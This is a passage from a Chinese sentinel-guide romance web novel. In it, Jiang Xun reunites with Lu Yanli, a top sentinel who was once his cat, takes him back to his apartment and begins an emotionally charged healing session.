“你……你不是说，戴上项圈就可以继续做你的猫了吗？”陆厌离的面色惨白下来，执拗地跪在他身前， 眼圈泛起了红， “我可以的，你别……别不要我……” “不是， 我只是在说气话。”江寻使力， 想要把面前的人托起来，可当一个顶级哨兵执意不肯起身时，他哪里对抗得过对方的力量，“你先起来。” 听到江寻的话语，陆厌离心中反而更加惊慌，跪伏着向前挪动了一小步， 双手小心扒上江寻的膝盖，就像当初他还是小树时常做的那样。眼眶通红， 声音颤抖破碎：“我真的可以的！或者你还想要怎么惩罚我，我都可以接受， 你别……别再抛下我……” “你……”江寻目光复杂地看着面前的陆厌离， 他没想到，自己在对方心目中，会如此重要， 连他随口说出的一句不着边际的气话， 也会被他奉为圭臬。 这个人明明可以站在世界的顶端，此刻却为了留在自己身边，心甘情愿地跪在地上，求恳着去做一只任人赏玩的宠物。 这样沉重的感情，这种非他不可的执着， 是江寻从没见到过，更不敢想象有一天会属于自己的情感。 在今天之前，若是有人告诉他世上存在着这样的感情，他一定会嗤之以鼻。可此刻，面对着眼前这个因为他的一句话便惊慌失措的人，他甚至感到了一丝愧疚。他不知道怎么样的对待，才能配得上这样一份深重的情感。 没有人能不为这样的真挚情感而动容。 此刻，之前所有的怀疑与被欺骗的怨愤，都烟消云散。那种面对着陌生面孔的隔阂感，也被他暂时放到了一边。 江寻叹了口气，张开双臂搂住身前的人，安抚地摩挲在他的脊背上，一下一下抚平他的不安。 “我没有不要你，我答应过你的，记得吗？只要你还愿意留在我身边，我就一直陪着你，只疼你一个。”江寻将陆厌离一手按在怀里，在他耳边不断地低声诱哄着，“你看，我从来都没有理会过其他的哨兵，一直在等着你回来呢，不是吗？我不生你的气了，你先站起来好不好？我还想和你好好说说话呢，你变成猫了，我们还怎么聊呢？” 耐心的安抚，终于令陆厌离稍稍平静了下来，可他还是把脑袋埋在江寻的膝盖上，不肯起身。 江寻无奈地叹了一口气：“你这样抱着我，我也没法换衣服呀，再过一会儿，酒液都要干在我身上了。” 话说到这里，陆厌离才想起了两人一开始过来休息室的目的，脸一红，终于松开手，好好站了起来。 休息室里，原本就备着一些应急的衣物，防止宾客们遇到意外。江寻此刻也没有客气，找了一身尺码差不多的，便准备换上。 以前他们在一起生活时，别说只是换衣服，洗澡都不知道一起洗了多少次，江寻也不觉得自己此刻对陆厌离有什么避讳的。随手脱下了马甲，便开始解衬衫的扣子。 陆厌离刚刚在江寻的安抚下，平静了下来的情绪，一看到这幅景象，又剧烈波动了起来。 眼见着江寻动作利落地一下解开了衣扣，慌忙转过了身去，可眼睛看不见，耳朵却更加灵敏了起来。窸窸窣窣的布料摩擦声像是有生命一样拼命往他的耳朵里钻，他几乎可以靠声音在脑海中还原出那副画面。 没几秒钟，便听到了什么轻薄的东西落地的声音，他的脑海里几乎马上便浮现出了江寻赤|裸着上身的模样。 可只是这些还远远没完，紧接着，一连串金属搭扣磕碰的声音便响了起来。陆厌离感觉自己的耳朵几乎烫得要烧起来，死死咬着牙不敢发出一点儿声音。 可他的这番动静丝毫没逃过江寻的眼睛，眼看着陆厌离的脑袋越埋越低，耳朵也越来越红，江寻忍不住轻轻笑出了声。 这一笑，却让对方更加紧张了，江寻几乎能幻视到他身上炸开的毛发。 眼前的男人，与自己心中那个熟悉的影子越发重合在了一起，令江寻的心情更好了，也不忍继续欺负自家猫猫，手上的动作快了起来，三两下换好衣服，便走上前去，拉着陆厌离一起坐了下来。 情绪稍缓下来，江寻这才和陆厌离断断续续地交流起了过去的经历。 “……原来是这样，那艘登陆舰意外坠落了。”听到江寻的讲述，陆厌离后怕地上上下下打量着江寻，好像担心他身上还带着伤似的，说着说着，又露出了懊悔与愧疚的表情，“对不起，都怪我……” “当然怪你了。”江寻没好气地在偷偷缠上他手腕的尾巴上拍打了一下，“当初逞英雄自己留下对付那帮人，把我一个人送了出去，还什么信息都没给我留下，我既不知道你的身份，也没见过你的样貌，找了这么久才靠着一些蛛丝马迹找到了你。” 陆厌离的尾巴耷拉了下去：“那些人都是冲着我来的……那时候，我没把握把他们全解决掉，要不是从你那里得到了精神力补充，我也没办法撑过去……而且，我当时不是恢复人形了吗？也告诉你我的身份了呀？” “告诉过我？”江寻思索了片刻，完全没有印象，“什么时候？” “就是最后送你走的时候……我本来觉得自己可能活不下去，不想告诉你的，可是又……”陆厌离有些不好意思向当事人描述出当时自己复杂的心情，“反正，就是舱门快关闭的时候，我专门和你说了我的身份的，你不记得了吗？” 江寻仔细回忆了一下，哭笑不得：“我想起来了……可是那个时候，我刚刚把精神力全输送给了你，状态很差劲，视觉和听觉都损失得差不多了，根本什么都看不清也听不清，一上船就晕过去了。” “居然是这样……”此刻，听到江寻讲了来龙去脉，陆厌离这才明白自己搞出了多大的乌龙，还差点就让两人再也不复相见。 “说到这个……”江寻眉头一挑，又想起了一件事，“我后来还给你传送过一次精神力，你记得吗？” “那真的是你？！”陆厌离马上想起了这回事，“当时你已经在中央星上了吧？我还以为你来过我身边……隔着这么远的距离，是怎么做到的？还有……”他下意识地摸上自己的后腰，那里如今又是一片平滑，丝毫看不出任何异常。 “如果我没猜错的话，应该是刻印技能。”江寻答道，探寻地看向陆厌离，“你应该知道刻印吧？” “刻印……？”听到这个十分陌生，又似乎在哪里听到过的单词，陆厌离思索了片刻，突然睁大了眼睛，“怎么会是刻印？我们什么时候……”他的声音越来越小，看向江寻的目光越来越心虚。 “想起来了？”江寻抱臂看向他，“所以说，应该不是意外咯？当初你是有意引导我的精神力进入了你的核心里，对你绑定的，是吗？为什么这么做？还不告诉我？” 陆厌离耳根泛红，有些难为情地别开了脸，声音更低了：“那时候……太混乱了，我以为自己活不下去了……就想在死之前，真的……成为你的。”哪怕只是精神上的，哪怕只有那一瞬间。 陆厌离说着话，人还正襟危坐着，那条毛茸茸的灰色大尾巴却从身后偷偷探了出来，顺着江寻的大腿爬了上去，带着几分试探和小心翼翼的讨好，轻轻缠上他的手腕。 江寻低头看了一眼，一把抓住那个蓬松的尾尖，惩罚性地捏了捏：“那你不告诉我，难道你不知道被绑定以后，就不能再接受别人的精神力了吗？万一我们再也见不到了，你要怎么办？” “那就当我从来没有恢复过，”只是听到这种假设，就让陆厌离的心中酸涩难忍，“如果你不要我了，那我就回寂静星去，就当我从来没有恢复过。” “别说傻话！”江寻的声音严肃了起来，眼睛一眯，又想到了一件事，“所以，你明知道精神要是再次崩溃了，没有人能给你疏导，后来那一次，还不要命地战斗？” “你怎么知道……”陆厌离身体一僵，眼神开始游移，心虚地不敢看江寻：“……当时，我刚刚在大十字星枢纽看到了你，可又不得不去执行军部的任务，所以，想要快点完成，好回去找你……也没有不要命，当时我身后带了很多部下的，还有治疗舱……” “胡闹！”江寻此时真的生气了起来，“你那是一般的伤势吗？治疗舱是万能的吗？你自己受了伤，自己感觉不到痛吗？我以前是怎么教你的？我一不在你就这么折腾自己！” 陆厌离被他一吼，下意识地缩了缩脖子，嘴角微微抿起，撇过了头去，声音里充满了委屈：“可是，你都不在了，我还为什么要照顾自己呢？反正也没有人在意。” 江寻看着他这幅样子，回忆起当时感受到的彻骨疼痛，心疼不已又无可奈何，最终只能重重叹了口气。抬手不轻不重地抓住他的尾巴，扯了一把，带着点惩罚的意味：“下次不许再这样了。” 陆厌离眼圈一红，移过了眼来，直直迎向他的视线：“我保证不了，你要一直在我身边看着我才行。” “你……”江寻看着这个绕了一圈，又把话题绕回来的人，几乎被气笑，“所以，我不是说了吗，我没有不要你。我只是没找到你，才一直没有来。” 得到了江寻的再三保证，陆厌离这才稍稍放松了下来—— 作者有话说：二更来啦~好家伙，谈恋爱好难写[托腮] 第165章 就在这时， 江寻的终端轻微震动了一下，他瞥了一眼屏幕，又看了看时间， 恍然惊觉他们已经在休息室里呆了很久了。 “宴会要结束了， 我得出去准备一下了。”看了看坐在身边还一直往他这边凑的陆厌离，江寻找回了一些平静， 轻轻拂开缠在自己手腕上的长尾， “你也先回去吧，刚刚接受了授勋，应该还有重要的事要处理吧？” 一见江寻这幅似乎要和他划清距离的样子，陆厌离立刻抓住了他的衣袖，眼神中涌上了不安，仿佛一松手眼前的人就会再次消失：“我没有事的， 你别走……我，我可以等你……” “不要这样。”江寻放缓了语气， 却态度强硬地拉下了他的手，“如今我们都有各自的身份和责任， 除了彼此， 也要好好对其他人负责，经营好自己的工作与生活，不是吗？你放心， 你现在也知道我就在圣所了， 我不会跑的。” 说着话，江寻就站起了身来，也将一直不舍地看着他的陆厌离拉了起来。 “好了，我们在这里待得太久了，再不出去又要有奇怪的流言传出来了。”江寻帮陆厌离抚平刚刚动作间皱起的衣角， 轻轻点了点仍然依依不舍地缠着他的尾巴，“尾巴收回去。” 见陆厌离撇了撇嘴角，还是听话地缩回了尾巴，奖励般捏了捏他的手指。而后，在他背上推了推，示意他先出去。 陆厌离慢腾腾地往门口挪步，短短几步路竟被他走出了天荒地老的架势，还一步三回头，眉宇间的患得患失几乎要将他淹没。 看着他这幅样子，江寻的心终究还是软了下来。 就在陆厌离的手握上门把，犹犹豫豫又半天不动时，江寻终于叹了口气，轻声问道：“没人给你疏导治疗，你那时受的伤……都好了吗？” 陆厌离精神一抖擞，迅速回过头看向江寻，面露希冀，条件反射般立刻回答：“已经好了！” 话音刚落，他猛地意识到了什么，眼睛一亮，马上改口，连声音似乎都虚弱了几分，“没……其实还没好全……没人疏导，我只能等它慢慢平复下去，但是污染一直还在……” 江寻看着他这生硬蹩脚的演技，无奈地轻笑一声，最终还是心疼占了上风，从旁边的矮几上拿过一张便签纸，快速写下一个地址，上前塞进了陆厌离手里。 “这是我住的地方，明天晚上，来我这里吧，我给你看看。” 陆厌离看了一眼手中的纸条，一眼扫过马上将上面的字迹记在了心里，又小心翼翼叠好，紧紧攥在了手里，眼睛瞬间亮了起来，心头的阴霾一扫而空，连连点头应道：“好！” 得了承诺，他终于放下了一些心中的担忧，有些不舍又有些期待地离开了休息室。 房门在眼前轻轻关上，江寻站在安静昏暗的房间里，摩挲了一下方才还被陆厌离的尾巴缠着的手腕，这才有了些实感。 找了这么久，费了这么多工夫，他们终于重新相逢了。 想到人形的陆厌离，江寻还是觉得陌生，可与此同时，又有许多奇妙又新奇的感觉。 从小到大的经历，让他对人类天然地没有多少信任感，若不是他们之间奇妙的缘分，他不可能会与哪个人产生这么深厚的羁绊，更不会和谁这般亲近。 之前虽然他一直在寻找小树，但这其中更多的，是一种亲情和责任感。基本确定陆厌离就是他的小树时，他虽然会对对方产生一些特别的感情，但他还是觉得，他们就算重逢了，也会从朋友做起，慢慢熟悉，再看彼此的意愿，决定今后的未来发展。 他没想到，这样的打算，从两人见面开始就被完全打破，说实话，他从没想过他们两人会在第一次真正见面时，就变得这么……亲密。 也许是陆厌离的行为和态度，太像曾经的小树了，让自己产生了移情，江寻冷静地分析道。 捻了捻手指，后知后觉地有些脸热。江寻有点搞不懂，自己怎么会对一个第一次见面的人就如此熟稔，会对他发脾气说气话，会放任对方与自己表达亲近，还邀请对方去自己的家里。 之前相处的时候没觉得不正常，这会儿再回想起来，却感觉有点别扭……这进度，是不是有点太快了……江寻忍不住想，还有最后留下的地址……不会让对方误会什么吧？ 正思绪纷乱地胡思乱想，终端上再次传来了震动声。 看到群里显示出的主管发布下来的通知，江寻深吸一口气，不再多想。 虽然这份工作是为了见到陆厌离才接下的，但既然做了，就要有始有终。 江寻重新整理了一下身上的衣物，打开房门，一脚重新迈入了宴会之中。 时钟慢慢滑向了九点，随着现场乐队划下最后一个音符，这场盛大的星辉盛宴终于走到了尾声。 喧嚣与奢华，随着飘散在空气中的香气渐渐褪去，江寻与一众服务生们有礼地将最后一位客人送上返程的悬浮车，这才回到宴会厅中，开始收拾这一片杯盘狼藉。 “好了，大家再加把劲，今天的宴会很成功，上面对我们的工作非常认可，收拾完就可以回家了，明天经理给所有人都包个大红包！”刘主管与其他几位主管开完了总结会，一脸喜气地回来，为在场的所有工作人员宣布道。正要转身去处理一些遗留事务，却一眼看到了埋首于人群中认真干活的江寻，脸上露出明显的诧异，“哎？你不是……” 今天见到面前这个年轻人和宴会中的大人物扯上了关系，他还以为是自己看走了眼，这也是个冲着那些上层人物而来，想要走捷径的年轻人，没想到他当时都已经跟别人走了，这会儿居然还会回来继续工作，还丝毫不露声色。 刘主管看着面前这个屡屡出乎他意料的年轻人，面上闪过一抹赞赏。 在场的工作人员很多，又都是正当壮年的年轻人，很快便将所有的区域都打扫干净，桌椅全部归回了原位。 江寻这才长呼出一口气，放下手中的工具，敲响了这位负责主管的办公室房门。 “刘主管，我是来向您请辞的。”江寻看向面前这位带了他两天，之前在宴会中也在维护他的主管，语气真诚，“这段时间，多谢您的关照了。如今宴会结束，我也该走了。” 刘主管似乎对他的这番话丝毫没有意外，只是叹了口气，点了点头，惋惜道：“你这孩子是个好的，做事稳当，脑子又聪明，我知道像你这样的人总会出头的，不过，没想到，居然这么快。” 他笑了笑，又续道：“不过也是好事，能得陆少将看重，你将来肯定有更好的前途，恐怕也不用我去操心。那我就祝你以后一切顺利吧。” “多谢您。”江寻微微躬身，对这位十分负责的主管真诚道谢。 转身欲走时，身后又传来主管的声音：“对了，那个故意陷害你的小子，已经被开除赶出去了。酒店也会就此事向他的推荐人提出正式的警告。以后对这类人的推荐，我们也会更加谨慎。这一次是我们御下不严，希望能够得到你的谅解。” 江寻没想到这件事居然会得到酒店的重视，有些意外，对面前这位主管更加真诚地点了点头，再次道谢：“哪里的话，多谢您，让您费心了。” 走出这座位于星枢群岛中心的议会宴会厅时，夜已深沉了下来。江寻回身望去，几个小时前的灯火通明与金碧辉煌，已如梦幻泡影般消失了所有痕迹。 不过，他舒心地笑了起来，他此刻的心情却比那时畅快得多，一朝得偿所愿，便连这冰冷的夜风也觉得温柔了起来。 江寻此时已经归还了那身服务生制服，换回了自己来时穿的那身朴素的深色便服，从明天开始，他将会重新回到自己的轨道上，继续在圣所的生活。 搭上最后一班通往哨兵岛的夜间飞艇，又转乘了两次公共悬浮巴士，江寻终于赶在夜明星稀之前，回到了他位于外城的公寓楼下。 这片公寓区中住的大多是在哨兵岛上工作学习的单身年轻人，在这个时间点上，大多已经睡去，只有零星的几扇窗口还亮着灯光。 江寻此时也终于感到了些许疲惫，拖着步伐走向了自己所在单元区。 然而，就在他越走越近，离门口仅几步之遥时，出现在眼前的景象让他猛地顿住了脚步。 暗沉的夜色下，单元楼入口旁的阴影里，树影摇曳之中，此刻，正有一个身影静静地倚墙而立。 听到脚步声，那人立刻站直了身体，从阴影中一步走出，在江寻面前现出了身形。 清冷的月光，与街道旁路灯暖色的光线，一左一右，勾勒出那人苍白面庞和略显清瘦的身形，他的一头浅色灰发，被月光的映照染成银灰色，反射出点点莹莹亮光，不刺眼却十足醒目。 可这些颜色，都比不上当他看到江寻时，从眼眸中迸发出来的亮光耀眼，以至于只是一眼，便紧紧抓住了江寻的视线。 是陆厌离。 他居然没有回家，而是……一直等在这里。 秋夜的温度已经有些低了，他穿的却还是在室内宴会厅里的那一身庄重有余，实用性却不足的军部礼服。 不知道在这里等了多久，也不给他发个信说一声，这会儿脸颊耳尖都已经被秋风吹得红了起来。 见到江寻，也只用那双盛满了期待与几分心虚的眸子望着他，不知道说话。 江寻看着他这幅样子，一时间竟嘴唇蠕动，不知道该说些什么好。 想骂他傻，骂他不听话，刚离开就又折腾自己，可脸色刚刚严肃了些，对方就敏锐地察觉了他的情绪，有些害怕地缩了缩脖子，却既不知道讨饶，又不肯挪动脚步离开。 一时之间，无奈，心疼，还有一丝难以言喻的酸软，轮番涌上江寻的心头，竟也舍不得在这时候再去开口责备他。 最终只能轻轻叹了口气，上前一步，拉过他一只手试了试温度，摇了摇头，语气里带着自己都不知道的无奈纵容：“……怎么等在这里？不是让你明天再来吗？” 陆厌离瘪了瘪嘴，没有回答，微微低下头，把另一只冰凉凉的手也挤进了江寻掌心。 江寻拿他没办法，只得上前一步，用终端中储存的单元门禁刷开了门，手上稍一使力，把他拉了过来：“先进来吧。” 看到江寻的动作，陆厌离明显高兴了起来，唇边挂上了一个浅浅的笑容，连坐电梯时，都挤挤挨挨地蹭在他身边。 江寻看了他一眼，此时也没有多说，一路拉着他到了六楼，踏入了自己那间小小的单人公寓。 这还是他当初入学高级研修班时租住的临时公寓，租金便宜，环境安全，但相应的，里面的面积就不太大，陈设也十分简单。 房间里被江寻收拾得十分干净整洁，除了堆在书桌与墙角书架上的各类书籍与数据板，房间里看不到太多的个人物品。一个人的时候还好，这会儿被他们两个身高腿长的高个子一起挤进来，便显得有些拥挤了。 “啪嗒”一声，江寻打开了灯，暖色的灯光，为室内添了一丝温馨。他轻轻推了推陆厌离，示意他在小客厅中唯一的沙发上坐下，自己则放下行李，洗了洗手，走进厨房里，从冰箱里拿出一罐鲜奶倒了一杯，又放入了加热器。 很快，加热器响起“叮”的一声，江寻试了试杯壁温度，端起那杯热牛奶走了出来，塞进了陆厌离冰凉的手里，又打开了房间中的暖风，这才温声说道：“你先喝点这个暖一暖，等我一下，我去冲个澡，之前身上沾了不少酒和其他味道，不太舒服。” 陆厌离骤然被塞入一杯温热的牛奶，突然变化的环境，与面前的人，都令他安心无比。被江寻抓住手掌时，只觉有细微的电流从两人肌肤相贴处一路碾过他的神经末梢，直直往上，将这股战栗传入他的心底。 这会儿才觉自己是不是有些太粘人了，却又不想改。微微低下头去，轻轻“嗯”了一声。 房间不大，隔音也一般，不一会儿，便有窸窸窣窣的布料摩擦声，淅淅沥沥的水声从旁边的浴室里传了出来。 陆厌离捧着牛奶杯，耳根不由自主地开始发烫。哨兵卓绝的听力，让他将隔壁所有令人心神不宁的声音都收入了耳中，记忆中的某些画面，又开始不受控制地闯入他的脑海…… 恍惚了片刻，才惊醒了过来，猛地甩了甩头，试图驱散掉那些不合时宜的念头，脸颊却更热了。 为了转移注意力，他努力忽略掉耳边的声响，将目光转向四周，近乎贪婪地打量起这个小小的空间。 房间不大，看起来只有四五十坪的样子，但是，分割得很是合理，从小厨房到浴室，从客厅到卧室，各种必备的家电一应俱全。陆厌离也没有住过这边的公寓，分不清哪些是公寓自带，又有哪些是江寻添置的。 这里的一切都带着江寻一贯的作风，干净、简洁，物品的摆放都规整有致，透着一种井井有条的秩序感。与他当年在寂静星上的房间，给人的感觉一样。 就是这里没有专门的书房，一张单人书桌摆放在卧室墙边，上面竖着一排厚重的典籍，桌面上，还有一本摊开来的笔记。他可以想象得到无数个黑夜里，江寻在这里认真学习的侧影。 沙发前的小几上，摆着房间里唯一的一盆绿植，他认不出来是什么品种，但能看得出它的长势极好，为单调的房间增添了几分生机。 小客厅与卧室中间，没有承重墙，只以一道镂空隔档分隔开来，他不敢在屋子里随意走动，只得小心翼翼地伸长了脖子，向卧室里面望去。其实里面没有什么，就是一架正常地铺着素淡床单的单人床，可只是想到这是江寻每晚安寝的地方，便能让他从心底里生出些隐秘的欢喜。 他就这样坐在沙发上，不断转移着视线左看右看，细细从房间中每一样小东西上观察过去，每发现一个小细节，便像偷到了什么秘密一般快乐不已。 坐在这充满了江寻气息的空间里，便觉过去一年时光中，缠绕着他的那些蚀骨的孤独与空虚，被统统驱散了开来，发自内心地感受到安宁与快乐。 他全身放松地窝进沙发里，脸上情不自禁地漾起浅浅笑意，眼睛亮晶晶地四处打量着，伴着耳边淅淅沥沥的水声，只觉每一秒都如此充实，充满了期待。 当江寻擦着半干的头发，带着一身的清爽水汽从浴室中走出来时，看到的就是这样的一幅画面。 陆厌离双手捧着那杯几乎没怎么动过的牛奶，像个第一次被允许进入朋友的秘密基地的小孩子，睁大了眼睛好奇地来回扭着头四处打量，脸上带着毫不掩饰的喜悦与满足。 那神情，恍惚间便与他记忆中，那只刚刚被他捡回来的可怜小猫重叠在了一起。 江寻的脚步止不住的一顿，擦拭头发的动作也停了下来，眼底不由自主地掠过一抹温柔笑意。 脚步的轻响，令沙发上仍在四处偷偷打量的陆厌离猛地回过了神，眼神与江寻一触，看到他面上的笑意，立刻轻咳一声，正襟危坐了起来，迅速收敛起了脸上那些外露的情绪，重新变成了那个稳重矜持的联盟之星。只有侧脸旁微红的耳根，泄露出了他的不自在。 江寻将他这番欲盖弥彰的拙劣遮掩尽收眼底，觉得有些好笑，却也没有戳破，走到沙发另一侧坐了下来，看向旁边脊背挺直的陆厌离。 “不是和你约好了明天见面吗？”江寻的声音低沉，回到自己的地盘里，让他感觉松弛了许多，“怎么这么晚跑过来？在门口等了多久了？怎么不告诉我？” 陆厌离下意识握紧了手中的牛奶杯，一只手指有些无措地摩挲着杯口的花纹，低下了头，不太敢看向江寻，下垂的目光游移起来：“军部那边有威尔逊将军在，刚才回去和他碰了个头，处理了一些紧急的事务，就没我什么事了……我现在还在休假期间，后面几天……都没有安排。” 他顿了顿，声音更小了一些，带着一点不好意思与心虚：“今天和父亲吵架了，家族那边……最近也不想回去，就……就忍不住想过来看看，没等多久。” 江寻看了眼窗外的夜色，又看了看终端上显示的时间，再看向陆厌离一副正经的样子，却不断瞟过来的眼神，哪里还能不明白他的心思。 可是，他为难地看了看自己这间小小的公寓，单人床，只有一床的被褥，客厅的沙发也远不够让一个成年男性舒服躺下。他们两个大男人又哪里能睡得下。 陆厌离敏锐地捕捉到了江寻眼中的为难，立刻抬起头来，急急说道：“我不会占地方的，我……我可以和以前一样……”他有些面红，却没有退缩，眼神中带着明显的期待，“变成猫形拟态，不会打扰到你休息的。” 说完，便一眨不眨地看向江寻，细眉微拧，目光期盼，手指紧紧绞在一起，像是在等待着他的审判。 江寻看着他那副样子，心里也不由想念起了那只已经许久没有见过的猫猫。拒绝的话语在嘴边转了一圈，又被咽了回去。 他有些无奈，又因为对方这番过于直白的主动与依赖而有些不好意思，只好轻咳一声，扭过头去，也不应声，不着痕迹地转移了话题。 “算了，既然你今天已经来了。”他的语气尽量平静下来，压下面上悄然上升的温度，“那今晚就别浪费时间了，让我看看你现在的精神状况怎么样了？上次的那些伤势，恢复得如何了。” 说着，他向着陆厌离伸出了手，是他一贯的诊疗姿势。 陆厌离闻言，迅速看了江寻一眼，马上明白了他的意思，嘴角偷偷抿起，露出一丝笑意，脸上也热热的。 毫不犹豫地将手中的牛奶放在了一旁的小几上，整个人向着江寻的方向挪近一步，迅速将自己的手轻轻搭在了江寻的掌心。 白皙修长的手指，被小麦色的宽大手掌牢牢包裹住，陆厌离垂眸，看了一眼两人交握的手掌，心跳便失了衡。蜷缩在江寻掌心里的指尖，不知是因为紧张还是期待微微抖了抖，擦过江寻的手心。 肌肤相触的瞬间，两人几乎同时微不可查地顿了顿，低下了头去。 空气中，一股温馨而暧昧的气氛悄然弥漫—— 作者有话说：心机猫猫，登堂入室[三花猫头]《 》 165-170 第166章 眼看着气氛暧昧了起来， 江寻有些遮掩地侧了侧头，轻咳了一声。 听到这一声提醒般的轻咳，陆厌离的眉目间迅速浮起一片失望之色。可是他也明白， 两人分别了这么久， 自己如今又变回了人形，江寻一时之间难以接受也是正常的。 于是， 按捺下心中的失望， 压抑住蠢蠢欲动想要触碰的冲动，乖乖坐正，等待着久违的来自江寻的治疗。 见陆厌离明白了自己的意思，江寻心中不自在的感觉消散了一些，终于能将精神集中起来，开始诊疗。 手指伸展出去， 摩挲着按在陆厌离腕间的主脉络上，下一刻， 几根凝聚的精神力丝线便从指尖延伸了出去，迅速没入了陆厌离腕间。 这些精神力丝甫一进入陆厌离的身体， 便令他止不住地轻颤了一下， 心头立刻悸动起来。 虽然在两人分开的时日里，自己曾经通过那个不完整的刻印，接收过江寻的精神力， 可那时的接触， 太过突然，他根本来不及反应过来就已经结束。完全无法和现在这样面对面的触碰相比。 再加上，他原本就对江寻这种实体化的精神力触碰极为敏感，这些精神力丝线中蕴含的力量虽然微小，不至于让他当场失态， 却也像是不停搔刮在他心尖上似的，极具存在感。 他的心神几乎完全被这几条探入体内的丝线所占据，意识跟着它们游遍全身上下每一个角落，明明知道这是很正常的诊疗步骤，却还是止不住地胡思乱想。 这种感觉，就好像是被江寻从头到脚轻柔地拂过一般，完全唤醒了这具身体对这股熟悉精神力的记忆。体内被控制得很好的精神力，被这搔刮一样的游走，缓缓叫醒，自动自发地开始往那些丝线周围聚拢了过去，随着它们的脚步渐渐开始了流转。 陆厌离只觉皮肤一阵酥麻，一种不太剧烈，却足以吸引住他注意力的瘙痒，久违地从心底漫溢而出。 身上的毛孔似乎都活了过来，张着嘴渴望着精神力的滋养。诊疗还没正式开始，已经让他的面颊开始泛红，整个身体缓慢地苏醒了起来。 江寻完全没注意到陆厌离的异样。 如今，他已经能非常熟练地运用精神力丝线，探查病患体内具体的状况，面对着已经许久没有见到的猫猫，关心之下，他的探查更加细致缓慢，不想漏过任何一点儿隐患。 精神力集中之下，他完全没有留意到陆厌离的表情。 今日的时间已经很晚了，他并不打算深入精神图景中，为对方彻底治疗。只想初步掌握对方如今的状况，将他体内沉积的一些外围污染净化掉。 细致探查的过程中，遇到比较轻薄的沉积，便会直接使用精神力丝粉碎掉。而污染比较集中的区域，则会标记在他脑中的图像上，等待第二轮的集中净化。 这个过程中，他敏锐察觉到了陆厌离体内的精神力，随着他的动作运转了起来，他特意放缓了一些速度，让它们追上自己的精神力丝线，包裹其上，感受了一下对方精神力如今的活性。又在绕过精神海时，估算了一下精神海的规模。 令他满意的是，情况比他预期的好得多，对方的精神力不管是从总量还是质量上来说，状态都很不错，只是在一些关键节点上存在一些凝滞浑浊，按他平日里的治疗效率来计算，大概用不了几次就能帮对方恢复到最佳的状态。 江寻满意地准备收回自己的精神力丝，就要进行下一个流程。可这时，意想不到的事情发生了。 似乎是察觉到了他想要离开的意图，那些聚拢在他精神力丝旁边的哨兵精神力，如同应激般突然沸腾了起来，接二连三地开始往他的丝线上面裹缠，拖拽着他的丝线不愿让他离去。 “嗯？”江寻一楞，莫名地抬眼，看向陆厌离，却见他的状况似乎不太对劲。 刚才诊疗刚开始的时候，对方明明是很正常地端正坐着，只伸出了一只手轻轻搭着他。可这会儿，整个人却佝偻了起来，脑袋完全垂了下去看不到面孔，一只手撑在沙发上，另一只手被他握着，就用着这样别扭的姿势维持着平衡，看起来很是难受。 一惊之下，江寻再顾不上去管那几根精神力丝线，任由它们溃散开来，被紧紧缠绕着的哨兵精神力吞吃殆尽。 向前一倾身，一手揽住陆厌离的腰让他靠住自己，一手抬起他的头，急切地问道：“怎么了？很难受吗……” 话还没说完，便被掌心托起的那张脸上露出的表情打断了。 短短几分钟时间，这张面孔上便完全失去了先前的一本正经、矜持从容。 苍白矜贵的面庞，如今一片潋滟绯红。一双细长碧绿的眸子，似乎有些失焦，泛着点点水光，毫不掩饰地用期待、渴望的目光望向他。鼻梁两侧，渗出了一些细密的汗珠，鼻翼不停翕张着，呼吸急促。泛白的嘴唇，被他自己死死咬着，已经充了血微微肿胀起来。 江寻手心一热，只觉得对方的皮肤，温度越来越高，让他忍不住想要松手。可被他托着的脸蛋，似乎是贪恋他掌心里的那一点点凉意一般，根本不让他逃离，反而顺着他卸力的方向贴了上来，将整个脑袋的重量，都压在了他的手心里。 看到陆厌离的这幅情态，江寻像被烫到了一样，面上也猛然升起了热度，下意识地就想松开他向后躲避。 一感受到他的动作，陆厌离神情中更添委屈，眉头一下子轻蹙了起来，看向他的目光越发引怜。 江寻最是受不得自家猫猫受委屈，即使对方现在是人形，也是如此，后退的动作立刻犹豫了起来。 见此情形，陆厌离心中一暖，却不愿收敛，面上更红，动作间却更加大胆，居然一扭身，便顺着江寻另一只揽着他的胳膊滑了过去，双臂一伸，死死抱在了对方的腰间。 江寻只觉得腰间一紧一热，便被一具温热的身体完全贴了上来，脖颈处一烫，刚才还贴在他掌心中的泛红发烫面孔便移了过来，死死埋进了他的颈窝之中。 “你……”江寻的眼睛猛地睁大，刚吐出一个字，上身便被这个突然倒过来的身躯压得一下子失去了平衡，拢着陆厌离“嘭”的一下倒在了沙发上。 “你……你在做什么啊……”江寻面上一片飞红，神情尴尬间又混着几分不知所措，心里乱糟糟的，完全被陆厌离此番举动扰乱了理智的思维。 他推了推怀中人的肩头，见对方纹丝不动，十分确定自己对抗不过对方的力气，只好无奈地放弃了动作，双手无措，都不知道该往哪里放。 陆厌离低着头，闭眼紧紧抱着面前的身躯，任心中漫溢的情感肆意流淌。许久，才微微张开了口，吐出微不可闻的两个字：“想你……” 紧接着，心中涌动的情感像是被熟悉的气息、熟悉的精神力、熟悉的身体彻底激活，在心间汹涌澎湃地飞涨了起来。 这一刻，陆厌离似乎才真正确定了江寻的存在，从身体最深处释放出了这长久以来对于他的思念与渴望。 抑制不住地声音开始不断从口中奔涌出来，声音越来越大，越来越清晰。 “江寻……想你，我好想你……想你……江寻……好想你……” 单调的几个词语不断地重复，其中蕴含着的情感却越来越充盈，越来越汹涌，到最后，甚至带上了一丝哭腔。 江寻的表情，也从尴尬无措，到惊讶，再到酸涩，最后化为一片心疼。 一双手不再去使力推开身上的人，而是缓缓落在了他的头顶，落在了他的脊背上，顺着自己的心意，轻轻抚摸着，安抚着，开口回应着，用一声又一声的“我在”，抚平他的委屈与不安。 此时，在江寻心中，面前这位荣耀的联盟之星，陆家公子，顶级哨兵，终于渐渐与他最熟悉的那个身影合为一体，化为他最亲密也最深刻的羁绊。 久久，陆厌离才在这不断地安抚之下，停下了口中的呼唤，可依然紧紧抱着江寻不愿意分开。 江寻此时的语气里，已经完全失去了面对陌生人的礼貌与距离，理智与得体，声音低沉温和，充满了诱哄：“我在呢，不离开，以后都陪着你，你松开我，我们先给你继续治疗好不好？” 陆厌离不语，只是一味地摇头，抱着他不撒手。 江寻头疼又好笑地看着怀里这个人。 以前是小猫时，遇到他耍赖，自己还能凭着力气让它乖乖听话。这时候化为人形了，竟比做猫的时候还要难搞，执拗起来，让自己都无处下手。 劝了半天，也不见他有丝毫动容，江寻终于放弃努力，开始自暴自弃。 